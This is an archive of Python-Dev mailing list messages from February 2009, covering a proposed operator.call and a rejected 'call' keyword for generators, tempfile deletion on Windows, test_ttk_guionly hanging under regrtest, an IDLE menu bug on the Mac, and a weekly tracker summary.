Date: Thu, 05 Feb 2009 16:16:01 -0800
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
	is this  intentional?
In-Reply-To: <498B5452.7090601@cheimes.de>
References: <498A9D35.7020305@alum.mit.edu>
	<498B49C0.5030707@gmail.com>	<ca471dc20902051232qb60d1efh66a45b422a367d1c@mail.gmail.com>
	<498B5452.7090601@cheimes.de>
Message-ID: <gmfvcd$mpt$1@ger.gmane.org>

Christian Heimes wrote:
> ... The performance penalty is slime to nothing for the common case....


Sorry, I love this typo.

-Scott


From eric at trueblade.com  Fri Feb  6 02:37:09 2009
From: eric at trueblade.com (Eric Smith)
Date: Thu, 05 Feb 2009 20:37:09 -0500
Subject: [Python-Dev] Issue 4285 Review
In-Reply-To: <4988B5EA.8060408@trueblade.com>
References: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com>	<20090203212016.GA20886@panix.com>
	<4988B5EA.8060408@trueblade.com>
Message-ID: <498B9445.8080400@trueblade.com>

Eric Smith wrote:
> Aahz wrote:
>> On Tue, Feb 03, 2009, Ross Light wrote:
>>> Hello, python-dev.  I submitted a patch a couple weeks ago for Issue
>>> 4285, and it has been reviewed and revised.  Would someone please
>>> review/commit it?  Thank you.
>>>
>>> http://bugs.python.org/issue4285
>>
>> When sending in a request like this, it's useful to summarize the issue;
>> few people know bug reports by number, and at least some people who might
>> be interested in looking probably won't bother if they have no clue
>> whether it's in their area of expertise.
> 
> I'll review it with the intention of committing it.
> 
> The subject is "Use a named tuple for sys.version_info".

Committed in r69331 (trunk) and r69346 (py3k).

I hope I got the merge/block command correct.

Eric.

From greg.ewing at canterbury.ac.nz  Fri Feb  6 06:20:17 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Fri, 06 Feb 2009 18:20:17 +1300
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <498991D9.3060407@avl.com>
References: <498991D9.3060407@avl.com>
Message-ID: <498BC891.4020103@canterbury.ac.nz>

Hrvoje Niksic wrote:
> Is there a reason why the operator module doesn't have an operator.call 
> function?

I've been thinking about proposing an enhancement
concerning generators that would entail making
"call" a reserved word, so I'd be a little
disappointed if this name were used.

Maybe apply() could be reinstated and put into
the operator module?

-- 
Greg

From guido at python.org  Fri Feb  6 06:22:13 2009
From: guido at python.org (Guido van Rossum)
Date: Thu, 5 Feb 2009 21:22:13 -0800
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <498BC891.4020103@canterbury.ac.nz>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
Message-ID: <ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>

On Thu, Feb 5, 2009 at 9:20 PM, Greg Ewing <greg.ewing at canterbury.ac.nz> wrote:
> I've been thinking about proposing an enhancement
> concerning generators that would entail making
> "call" a reserved word, so I'd be a little
> disappointed if this name were used.
>
> Maybe apply() could be reinstated and put into
> the operator module?

That would lose the symmetry with __call__.

What's so special about your proposal that requires a new keyword?

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From greg.ewing at canterbury.ac.nz  Fri Feb  6 06:31:21 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Fri, 06 Feb 2009 18:31:21 +1300
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
Message-ID: <498BCB29.4070005@canterbury.ac.nz>

Guido van Rossum wrote:

> What's so special about your proposal that requires a new keyword?

I was thinking about the proposals that are made
from time to time for things like

   yield *foo

to yield all the items from a sub-generator. I was
also thinking about what could be done to make
using generators as coroutines more convenient,
and I came up with the idea of a new statement

   call expr

which would be equivalent to

   for x in expr:
     yield x

This happens to be the same as what "yield *"
would do, so it kind of unifies the two issues.

-- 
Greg

From guido at python.org  Fri Feb  6 06:32:03 2009
From: guido at python.org (Guido van Rossum)
Date: Thu, 5 Feb 2009 21:32:03 -0800
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <498BCB29.4070005@canterbury.ac.nz>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
Message-ID: <ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>

Why is "call expr" a more enticing syntax than "yield *expr" ?

On Thu, Feb 5, 2009 at 9:31 PM, Greg Ewing <greg.ewing at canterbury.ac.nz> wrote:
> Guido van Rossum wrote:
>
>> What's so special about your proposal that requires a new keyword?
>
> I was thinking about the proposals that are made
> from time to time for things like
>
>  yield *foo
>
> to yield all the items from a sub-generator. I was
> also thinking about what could be done to make
> using generators as coroutines more convenient,
> and I came up with the idea of a new statement
>
>  call expr
>
> which would be equivalent to
>
>  for x in expr:
>    yield x
>
> This happens to be the same as what "yield *"
> would do, so it kind of unifies the two issues.
>
> --
> Greg
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From martin at v.loewis.de  Fri Feb  6 08:42:08 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 06 Feb 2009 08:42:08 +0100
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <498BCB29.4070005@canterbury.ac.nz>
References: <498991D9.3060407@avl.com>
	<498BC891.4020103@canterbury.ac.nz>	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
Message-ID: <498BE9D0.3050003@v.loewis.de>

> I came up with the idea of a new statement
> 
>   call expr

I don't think your ideas should stop us from doing the right
thing right now, i.e. add operator.call (for symmetry with
everything else that is in the operator module).

Whether a call keyword gets added to Python remains to be seen;
I would expect some opposition if a PEP was written.

Regards,
Martin

From greg.ewing at canterbury.ac.nz  Fri Feb  6 09:10:10 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Fri, 06 Feb 2009 21:10:10 +1300
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
Message-ID: <498BF062.5000407@canterbury.ac.nz>

Guido van Rossum wrote:

> Why is "call expr" a more enticing syntax than "yield *expr" ?

I was thinking it would read better when you're
using generators as lightweight threads, and you
want the one-level-deep nature of generators to
be hidden as much as possible.

The fact that yielding is going on is not of
interest in that situation -- it's just an
implementation detail. What you really want to
express is calling another function, but without
losing your status of coroutine-ness.

Another way of thinking about it is that it
allows you to abstract out a chunk of code from
a generator that contains a 'yield' and put it
into another function, and then call it in
a way that resembles an ordinary function call
as closely as possible.

Maybe 'call' isn't the best word for that, but
I haven't thought of anything better so far.

-- 
Greg

From ncoghlan at gmail.com  Fri Feb  6 09:41:27 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Fri, 06 Feb 2009 18:41:27 +1000
Subject: [Python-Dev] Partial function application 'from the right'
In-Reply-To: <5169ff10902051401l49ea89c3s98c8a123f703ef0@mail.gmail.com>
References: <5169ff10902051401l49ea89c3s98c8a123f703ef0@mail.gmail.com>
Message-ID: <498BF7B7.9000605@gmail.com>

Ben North wrote:
> Hi,
> 
> My reading of the most recent set of emails on this topic is that the
> balance of opinion is against adding a 'partial_right' or 'partial.skip'
> feature.  I still think such a feature would be of real use, although I
> can see the arguments against adding it.  Is the conclusion 'no thanks',
> then?

There's a partial.skip patch on the tracker already:
http://bugs.python.org/issue1706256

While it has been rejected, chiming in still wouldn't hurt (in case we
ever decide to revisit the idea).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From ncoghlan at gmail.com  Fri Feb  6 09:50:31 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Fri, 06 Feb 2009 18:50:31 +1000
Subject: [Python-Dev] [Python-checkins] r69314 -
	sandbox/trunk/dbm_sqlite/alt/dbdict.py
In-Reply-To: <20090205220400.943E71E4002@bag.python.org>
References: <20090205220400.943E71E4002@bag.python.org>
Message-ID: <498BF9D7.1050908@gmail.com>

raymond.hettinger wrote:
> Author: raymond.hettinger
> Date: Thu Feb  5 23:04:00 2009
> New Revision: 69314
> 
> Log:
> Can't get tempfile to reliably delete on error and persist otherwise.

You work on Windows, don't you Raymond?

What you were trying (setting tf.delete after the file was already open
 but before it was closed) would actually work on non-Windows platforms,
since the delete flag is only checked in the close() method.

On Windows, however, the tempfile code uses the _os.O_TEMPORARY flag at
creation time to tell *Windows* to delete the file when it gets closed.
In that case, writing to the delete attribute has no effect (since the
flag has already been set)

Perhaps the windows special casing should be removed so that the delete
flag on named temporary files can be effectively written to on all
platforms?

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From stephen at xemacs.org  Fri Feb  6 10:15:33 2009
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Fri, 06 Feb 2009 18:15:33 +0900
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <498BF062.5000407@canterbury.ac.nz>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz>
Message-ID: <87ljskdiyy.fsf@xemacs.org>

Greg Ewing writes:

 > The fact that yielding is going on is not of
 > interest in that situation -- it's just an
 > implementation detail. What you really want to
 > express is calling another function, but without
 > losing your status of coroutine-ness.

But doesn't "yield" in the sense of "yield the right of way" mean
exactly that?  Or am I not understanding what you mean by retain
status as a coreoutine?

I don't know if this is an argument for or against using "yield" in
this context.


From greg.ewing at canterbury.ac.nz  Fri Feb  6 12:20:42 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 07 Feb 2009 00:20:42 +1300
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <87ljskdiyy.fsf@xemacs.org>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
Message-ID: <498C1D0A.4040200@canterbury.ac.nz>

Stephen J. Turnbull wrote:
> Greg Ewing writes:
> 
>  > The fact that yielding is going on is not of
>  > interest in that situation
> 
> But doesn't "yield" in the sense of "yield the right of way" mean
> exactly that?

I've no problem with using 'yield' when actually
giving up control. But the code making the call doesn't
think of itself as yielding. The called code may
want to yield, but the caller doesn't care about
that. It just wants to make the callee do its thing,
whatever it is.

Ideally the caller would be able to use a normal
function call, but Python generators don't work
that way. The next best thing is a slightly
different form of call syntax.

-- 
Greg


From solipsis at pitrou.net  Fri Feb  6 13:03:16 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 6 Feb 2009 12:03:16 +0000 (UTC)
Subject: [Python-Dev] Missing operator.call
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
Message-ID: <loom.20090206T115951-397@post.gmane.org>

Greg Ewing <greg.ewing <at> canterbury.ac.nz> writes:
> 
> I've no problem with using 'yield' when actually
> giving up control. But the code making the call doesn't
> think of itself as yielding. The called code may
> want to yield, but the caller doesn't care about
> that. It just wants to make the callee do its thing,
> whatever it is.

Sorry for saying that, but the more I read your explanations, the less I
understand them. In any case, using such a generic word as "call" for
generator-specific semantics looks highly confusing to me.



From guido at python.org  Fri Feb  6 16:13:07 2009
From: guido at python.org (Guido van Rossum)
Date: Fri, 6 Feb 2009 07:13:07 -0800
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <498C1D0A.4040200@canterbury.ac.nz>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
Message-ID: <ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>

On Fri, Feb 6, 2009 at 3:20 AM, Greg Ewing <greg.ewing at canterbury.ac.nz> wrote:
> Stephen J. Turnbull wrote:
>>
>> Greg Ewing writes:
>>
>>  > The fact that yielding is going on is not of
>>  > interest in that situation
>>
>> But doesn't "yield" in the sense of "yield the right of way" mean
>> exactly that?
>
> I've no problem with using 'yield' when actually
> giving up control. But the code making the call doesn't
> think of itself as yielding. The called code may
> want to yield, but the caller doesn't care about
> that. It just wants to make the callee do its thing,
> whatever it is.
>
> Ideally the caller would be able to use a normal
> function call, but Python generators don't work
> that way. The next best thing is a slightly
> different form of call syntax.

The more I read your motivation the less comfortable I am with using
"call" for this purpose. It differs in so many details from a regular
call that you're doing your potential users a terrible disservice by
trying to pretend that it is something which it isn't, or that it
isn't something which it is. Those differences may not seem relevant
when sketching a solution, but they come back to haunt you when
debugging, for example.

It would be way too confusing to have "a different form of call" with
totally different semantics that nevertheless used the same
*terminology* as is used for regular calls. Imagine the confusion
happens when a newbie (maybe someone coming from Fortran :-) writes
"call foo(x)" instead of just "foo(x)" and their program totally
breaks. "But you told me to call foo" will be their rightful excuse.

You could go on, but so could I. A -1 it is.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From eric at trueblade.com  Fri Feb  6 16:14:50 2009
From: eric at trueblade.com (Eric Smith)
Date: Fri, 06 Feb 2009 10:14:50 -0500
Subject: [Python-Dev] regrtest hangs on test_tk_guionly
Message-ID: <498C53EA.6050306@trueblade.com>

In the trunk, test_tk_guionly hangs if I run it through regrtest. This 
is on a Fedora Core 6 box, without X installed.

If I run test_tk_guionly directly, it exits saying there's no DISPLAY 
set, which is what I'd expect:

------8<------------------
[trunk]$ ./python Lib/test/test_ttk_guionly.py
Traceback (most recent call last):
   File "Lib/test/test_ttk_guionly.py", line 11, in <module>
     raise test_support.TestSkipped("ttk not available: %s" % msg)
test.test_support.TestSkipped: ttk not available: no display name and no 
$DISPLAY environment variable
[29788 refs]
------8<------------------


If I run regrtest with (or without) -v, it hangs without any output from 
test_tk_guionly:

------8<------------------
...
OK
test_transformer
Test multiple targets on the left hand side. ... ok

----------------------------------------------------------------------
Ran 1 test in 0.020s

OK
test_ttk_guionly
<hangs here>
------8<------------------


I'm not seeing a problem in the py3k branch. There, test_tk_guionly is 
skipped:

------8<------------------
test_ttk_guionly
test_ttk_guionly skipped -- ttk not available: no display name and no 
$DISPLAY environment variable
------8<------------------

I'm not sure how to further isolate this, since I can't duplicate it 
when running the test by itself. I'm mostly curious if anyone else is 
seeing this problem. If it's just me, I'll just switch to a Mac, where 
the problem doesn't occur (if for no other reason, because ttk is not 
available). If others are seeing a problem, I'll spend some time 
isolating it.

Is anyone else seeing this problem?

Eric.

From ggpolo at gmail.com  Fri Feb  6 16:25:20 2009
From: ggpolo at gmail.com (Guilherme Polo)
Date: Fri, 6 Feb 2009 13:25:20 -0200
Subject: [Python-Dev] regrtest hangs on test_tk_guionly
In-Reply-To: <498C53EA.6050306@trueblade.com>
References: <498C53EA.6050306@trueblade.com>
Message-ID: <ac2200130902060725h594e1f31v8dde289b875d6a5e@mail.gmail.com>

On Fri, Feb 6, 2009 at 1:14 PM, Eric Smith <eric at trueblade.com> wrote:
> In the trunk, test_tk_guionly

test_ttk_guionly, right ?

> hangs if I run it through regrtest. This is on
> a Fedora Core 6 box, without X installed.
>

Does it hang if you run it alone through regrtest, or, together with
all the other tests ?

> If I run test_tk_guionly directly, it exits saying there's no DISPLAY set,
> which is what I'd expect:
>
> ------8<------------------
> [trunk]$ ./python Lib/test/test_ttk_guionly.py
> Traceback (most recent call last):
>  File "Lib/test/test_ttk_guionly.py", line 11, in <module>
>    raise test_support.TestSkipped("ttk not available: %s" % msg)
> test.test_support.TestSkipped: ttk not available: no display name and no
> $DISPLAY environment variable
> [29788 refs]
> ------8<------------------
>
>
> If I run regrtest with (or without) -v, it hangs without any output from
> test_tk_guionly:
>
> ------8<------------------
> ...
> OK
> test_transformer
> Test multiple targets on the left hand side. ... ok
>
> ----------------------------------------------------------------------
> Ran 1 test in 0.020s
>
> OK
> test_ttk_guionly
> <hangs here>
> ------8<------------------
>
>
> I'm not seeing a problem in the py3k branch. There, test_tk_guionly is
> skipped:
>
> ------8<------------------
> test_ttk_guionly
> test_ttk_guionly skipped -- ttk not available: no display name and no
> $DISPLAY environment variable
> ------8<------------------
>
> I'm not sure how to further isolate this, since I can't duplicate it when
> running the test by itself. I'm mostly curious if anyone else is seeing this
> problem. If it's just me, I'll just switch to a Mac, where the problem
> doesn't occur (if for no other reason, because ttk is not available). If
> others are seeing a problem, I'll spend some time isolating it.
>
> Is anyone else seeing this problem?
>

I've noticed it, it is on http://bugs.python.org/issue5122

The second part of the issue description is actually unrelated to the
problem (or at least I'm almost sure it is), so you may discard it. I
wasn't able to duplicate it here, but I could try installing fedora
here to try reproducing and see if I can solve it.

> Eric.


-- 
-- Guilherme H. Polo Goncalves

From eric at trueblade.com  Fri Feb  6 16:34:36 2009
From: eric at trueblade.com (Eric Smith)
Date: Fri, 06 Feb 2009 10:34:36 -0500
Subject: [Python-Dev] regrtest hangs on test_tk_guionly
In-Reply-To: <ac2200130902060725h594e1f31v8dde289b875d6a5e@mail.gmail.com>
References: <498C53EA.6050306@trueblade.com>
	<ac2200130902060725h594e1f31v8dde289b875d6a5e@mail.gmail.com>
Message-ID: <498C588C.6090601@trueblade.com>

Guilherme Polo wrote:
> On Fri, Feb 6, 2009 at 1:14 PM, Eric Smith <eric at trueblade.com> wrote:
>> In the trunk, test_tk_guionly
> 
> test_ttk_guionly, right ?

Right, sorry.

>> hangs if I run it through regrtest. This is on
>> a Fedora Core 6 box, without X installed.
>>
> 
> Does it hang if you run it alone through regrtest, or, together with
> all the other tests ?

It does not hang:
[trunk]$ ./python Lib/test/regrtest.py test_ttk_guionly
test_ttk_guionly
test_ttk_guionly skipped -- ttk not available: no display name and no 
$DISPLAY environment variable
1 test skipped:
     test_ttk_guionly
1 skip unexpected on linux2:
     test_ttk_guionly


> I've noticed it, it is on http://bugs.python.org/issue5122
> 
> The second part of the issue description is actually unrelated to the
> problem (or at least I'm almost sure it is), so you may discard it. I
> wasn't able to duplicate it here, but I could try installing fedora
> here to try reproducing and see if I can solve it.

Unfortunately I can't give you access to this machine. Maybe 
http://www.snakebite.org/ will be able to help.

If you think my issue is related to 5122, I'll reply to that issue and 
move the discussion there. I can test on a Fedora 10 box, too.

Eric.

From ggpolo at gmail.com  Fri Feb  6 16:34:46 2009
From: ggpolo at gmail.com (Guilherme Polo)
Date: Fri, 6 Feb 2009 13:34:46 -0200
Subject: [Python-Dev] regrtest hangs on test_tk_guionly
In-Reply-To: <498C53EA.6050306@trueblade.com>
References: <498C53EA.6050306@trueblade.com>
Message-ID: <ac2200130902060734vbcd68e1ob925a9ea417cd34c@mail.gmail.com>

On Fri, Feb 6, 2009 at 1:14 PM, Eric Smith <eric at trueblade.com> wrote:
> If it's just me, I'll just switch to a Mac, where the problem
> doesn't occur (if for no other reason, because ttk is not available). If
> others are seeing a problem, I'll spend some time isolating it.

If you move to Mac then you may end with an abort :)
See http://www.python.org/dev/buildbot/all/OS%20X%20x86%20trunk/builds/99/step-test/0

I tried asking emailing noller to ask what tcl is installed on that
mac but I got no answer, so in this case the buildslave serves me no
purpose. Apparently it doesn't happen all the time (after a change on
how the tcl interpreter was being created in the tests) but it still
happens sometimes. I also opened an issue for this, see:
http://bugs.python.org/issue5120, I ended up closing it after checking
that this noller buildslave stopped aborting but it still happens from
time to time.


-- 
-- Guilherme H. Polo Goncalves

From ringhome at cox.net  Fri Feb  6 16:16:15 2009
From: ringhome at cox.net (ringhome)
Date: Fri, 6 Feb 2009 08:16:15 -0700
Subject: [Python-Dev] Fwd: IDLE on a Mac
References: <mailman.40781.1233933083.3486.python-3000@python.org>
Message-ID: <77F954DE-354D-4D9B-8C25-54597052E0D0@cox.net>



Begin forwarded message:

> From: python-3000-owner at python.org
> Date: Feb 06, 2009 8:11:23 AM GMT-07:00
> To: ringhome at cox.net
> Subject: IDLE on a Mac
>
> This mailing list is closed now. Please use python-dev at python.org
> instead.
>
>
> From: ringhome <ringhome at cox.net>
> Date: Feb 06, 2009 8:11:19 AM GMT-07:00
> To: python-3000 at python.org
> Subject: IDLE on a Mac
>
>
> Hi.   First, I'd like to say how wonderful 3.0 is.  I'm using it at  
> work, and it it indispensable.
>
> I am, however, having a small difficulty at home on my Mac.   Not  
> willing to wait for a nice, pre-packaged bundle, I went and  
> downloaded the files and built 3.0 myself.  The issue comes from  
> launching the IDLE.app from the Mac GUI versus a Terminal Shell.   
> From the GUI, IDLE launches fine, but the FILE dropdown menu only  
> has "Recent Files" in it.  No way to create new one, save, etc.
>
> The README pages say to write to you if we're not sure if something  
> is a feature or a bug.... So, here I am.  :)
>
> Thanks.
>
>

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090206/602ca5aa/attachment.htm>

From ggpolo at gmail.com  Fri Feb  6 16:38:50 2009
From: ggpolo at gmail.com (Guilherme Polo)
Date: Fri, 6 Feb 2009 13:38:50 -0200
Subject: [Python-Dev] regrtest hangs on test_tk_guionly
In-Reply-To: <498C588C.6090601@trueblade.com>
References: <498C53EA.6050306@trueblade.com>
	<ac2200130902060725h594e1f31v8dde289b875d6a5e@mail.gmail.com>
	<498C588C.6090601@trueblade.com>
Message-ID: <ac2200130902060738w3db7a4f9vb567267b7b2acfc5@mail.gmail.com>

On Fri, Feb 6, 2009 at 1:34 PM, Eric Smith <eric at trueblade.com> wrote:
> If you think my issue is related to 5122, I'll reply to that issue and move
> the discussion there. I can test on a Fedora 10 box, too.

Eric, I've followed the "amd64 gentoo trunk" buildslave and noticed it
took a very long time on test_tcl (or test_ttk_guionly) and then ended
up getting the error described in the issue. As I see, the test hanged
and buildslave decided to quit.


-- 
-- Guilherme H. Polo Goncalves

From nad at acm.org  Fri Feb  6 17:32:12 2009
From: nad at acm.org (Ned Deily)
Date: Fri, 06 Feb 2009 08:32:12 -0800
Subject: [Python-Dev] Fwd: IDLE on a Mac
References: <mailman.40781.1233933083.3486.python-3000@python.org>
	<77F954DE-354D-4D9B-8C25-54597052E0D0@cox.net>
Message-ID: <nad-E370E7.08321206022009@news.gmane.org>

In article <77F954DE-354D-4D9B-8C25-54597052E0D0 at cox.net>,
 ringhome <ringhome at cox.net> wrote:
> > I am, however, having a small difficulty at home on my Mac.   Not  
> > willing to wait for a nice, pre-packaged bundle, I went and  
> > downloaded the files and built 3.0 myself.  The issue comes from  
> > launching the IDLE.app from the Mac GUI versus a Terminal Shell.   
> > From the GUI, IDLE launches fine, but the FILE dropdown menu only  
> > has "Recent Files" in it.  No way to create new one, save, etc.
> >
> > The README pages say to write to you if we're not sure if something  
> > is a feature or a bug.... So, here I am.  :)

Definitely not a feature!  There are a few known problems with 3.x IDLE 
on OS X.  I'm in the final stages of testing several patches which, 
among other things should solve that problem.  In general, the issue 
tracker at <http://bugs.python.org/> is the place to file bugs.  Check 
back in a couple of days.

-- 
 Ned Deily,
 nad at acm.org


From status at bugs.python.org  Fri Feb  6 18:06:48 2009
From: status at bugs.python.org (Python tracker)
Date: Fri,  6 Feb 2009 18:06:48 +0100 (CET)
Subject: [Python-Dev] Summary of Python tracker Issues
Message-ID: <20090206170648.22AB1782E2@psf.upfronthosting.co.za>


ACTIVITY SUMMARY (01/30/09 - 02/06/09)
Python tracker at http://bugs.python.org/

To view or respond to any of the issues listed below, click on the issue 
number.  Do NOT respond to this message.


 2364 open (+44) / 14630 closed (+16) / 16994 total (+60)

Open issues with patches:   793

Average duration of open issues: 698 days.
Median duration of open issues:  10 days.

Open Issues Breakdown
   open  2341 (+44)
pending    23 ( +0)

Issues Created Or Reopened (61)
_______________________________

"if 0: return" not raising SyntaxError                           02/02/09
       http://bugs.python.org/issue1875    reopened amaury.forgeotdarc        
       patch, needs review                                                     

Incorrect documentation for PyErr_BadInternalCall                01/30/09
CLOSED http://bugs.python.org/issue5112    created  md5i                      
                                                                               

2.5.4.3 / test_posix failing on HPUX systems                     01/30/09
       http://bugs.python.org/issue5113    created  andreask                  
                                                                               

2.5.4.3 / test_threading hangs                                   01/30/09
       http://bugs.python.org/issue5114    created  andreask                  
                                                                               

Extend subprocess.kill to be able to kill process groups         01/31/09
       http://bugs.python.org/issue5115    created  erickt                    
       patch                                                                   

expose _CrtSetReportMode via the msvcrt module                   01/31/09
       http://bugs.python.org/issue5116    created  mhammond                  
       patch, patch, needs review                                              

os.path.relpath problem with root directory                      01/31/09
       http://bugs.python.org/issue5117    created  eliben                    
       patch                                                                   

'%.2f' % 2.545 doesn't round correctly                           01/31/09
CLOSED http://bugs.python.org/issue5118    created  Ultrasick                 
                                                                               

wide character parameter handling in ctypes                      01/31/09
CLOSED http://bugs.python.org/issue5119    created  jaraco                    
                                                                               

Disabling test_ttk_guionly on mac                                01/31/09
CLOSED http://bugs.python.org/issue5120    created  gpolo                     
                                                                               

PyRun_InteractiveLoop disagrees with documentation?              02/01/09
       http://bugs.python.org/issue5121    created  bkuhn                     
                                                                               

test_tcl and test_ttk_guionly don't like each other              02/01/09
       http://bugs.python.org/issue5122    created  gpolo                     
       patch                                                                   

Virus found in python-3.0.msi                                    02/01/09
CLOSED http://bugs.python.org/issue5123    created  hlqyq                     
                                                                               

IDLE - pasting text doesn't delete selection                     02/01/09
       http://bugs.python.org/issue5124    created  weeble                    
                                                                               

Strange locale problem with Python 3                             02/01/09
       http://bugs.python.org/issue5125    created  retoo                     
                                                                               

Space character returns false from isprintable() method          02/01/09
       http://bugs.python.org/issue5126    created  dlfjessup                 
       patch                                                                   

UnicodeEncodeError - I can't even see license                    02/02/09
       http://bugs.python.org/issue5127    created  bupjae                    
       patch                                                                   

compileall: consider ctime                                       02/02/09
       http://bugs.python.org/issue5128    created  gagern                    
       patch                                                                   

indentation in IDLE 2.6 different from IDLE 2.5, 2.4 or vim      02/02/09
       http://bugs.python.org/issue5129    created  sy12                      
                                                                               

Obsolete reference to "unicode" in glossary                      02/02/09
CLOSED http://bugs.python.org/issue5130    created  MLModel                   
                                                                               

pprint doesn't know how to print a set or a defaultdict          02/02/09
       http://bugs.python.org/issue5131    created  ncw                       
                                                                               

distutils: libpython not found when building python extensions o 02/02/09
CLOSED http://bugs.python.org/issue5132    created  dpeterson                 
       patch                                                                   

Error with Eval                                                  02/02/09
CLOSED http://bugs.python.org/issue5133    created  davidnicol                
                                                                               

Compiler warnings in sqlite module                               02/02/09
       http://bugs.python.org/issue5134    created  rhettinger                
       patch                                                                   

Expose simplegeneric function in functools module                02/02/09
       http://bugs.python.org/issue5135    created  pmoore                    
       patch, needs review                                                     

Deprecating (and removing) "globalcall", "merge" and "globaleval 02/03/09
       http://bugs.python.org/issue5136    created  gpolo                     
                                                                               

SystemError when __len__ returns a non-number                    02/03/09
       http://bugs.python.org/issue5137    created  rhettinger                
                                                                               

File Reload for IDLE                                             02/03/09
       http://bugs.python.org/issue5138    created  rhettinger                
                                                                               

Add combinatoric counting functions to the math module.          02/03/09
       http://bugs.python.org/issue5139    created  rhettinger                
                                                                               

Some Built-in Functions entries in Library Manual are missing Pe 02/03/09
CLOSED http://bugs.python.org/issue5140    created  rbtyod                    
                                                                               

C API for appending to arrays                                    02/03/09
       http://bugs.python.org/issue5141    created  hniksic                   
                                                                               

pdb feature request: Ability to skip standard lib modules and ot 02/03/09
       http://bugs.python.org/issue5142    created  orsenthil                 
                                                                               

OS X: Py_SetProgramName argument has type char*; should be wchar 02/03/09
       http://bugs.python.org/issue5143    created  marketdickinson           
                                                                               

PySys_SetArgv has wrong documentation                            02/03/09
CLOSED http://bugs.python.org/issue5144    created  matejcik                  
                                                                               

struct.calcsize('cd') returns 16 instead of 9                    02/03/09
       http://bugs.python.org/issue5145    created  bgailer                   
                                                                               

threading via uid method doesn't work in imaplib                 02/03/09
       http://bugs.python.org/issue5146    created  abhishek                  
                                                                               

MozillaCookieJar should not store leading whitespace in Magic he 02/03/09
       http://bugs.python.org/issue5147    created  aantony                   
                                                                               

gzip.open breaks with  'U' flag                                  02/04/09
       http://bugs.python.org/issue5148    created  Chris.Barker              
       patch, easy, needs review                                               

syntactic sugar: type coercion on pointer assignment             02/04/09
